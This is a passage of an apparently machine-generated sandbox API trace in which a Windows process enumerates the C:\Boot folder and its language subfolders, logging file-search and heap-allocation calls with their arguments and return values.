ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0063.033] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.034] GetProcessHeap () returned 0x550000 [0063.034] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.034] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0063.034] GetProcessHeap () returned 0x550000 [0063.034] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.034] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.034] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.035] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.035] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.035] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.035] GetProcessHeap () returned 0x550000 [0063.035] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.035] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0063.035] GetProcessHeap () returned 0x550000 [0063.036] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.036] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.036] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.036] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.036] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.036] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.037] GetProcessHeap () returned 0x550000 [0063.037] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.037] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0063.037] GetProcessHeap () returned 0x550000 [0063.037] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.037] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.037] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.037] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.038] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.038] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.038] GetProcessHeap () returned 0x550000 [0063.038] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.038] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0063.038] GetProcessHeap () returned 0x550000 [0063.038] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.038] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.039] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.039] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.039] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.039] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.039] GetProcessHeap () returned 0x550000 [0063.039] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.039] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0063.040] GetProcessHeap () returned 0x550000 [0063.040] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.040] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.040] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.040] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.040] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.041] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.041] GetProcessHeap () returned 0x550000 [0063.041] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.041] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0063.041] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0063.041] GetProcessHeap () returned 0x550000 [0063.041] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.041] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.042] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.042] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.042] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.042] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.042] GetProcessHeap () returned 0x550000 [0063.042] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.042] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0063.042] GetProcessHeap () returned 0x550000 [0063.043] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.043] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.043] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.043] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.043] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.043] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.043] GetProcessHeap () returned 0x550000 [0063.043] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.044] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0063.045] GetProcessHeap () returned 0x550000 [0063.045] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.045] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.045] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.045] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.046] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.046] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.046] 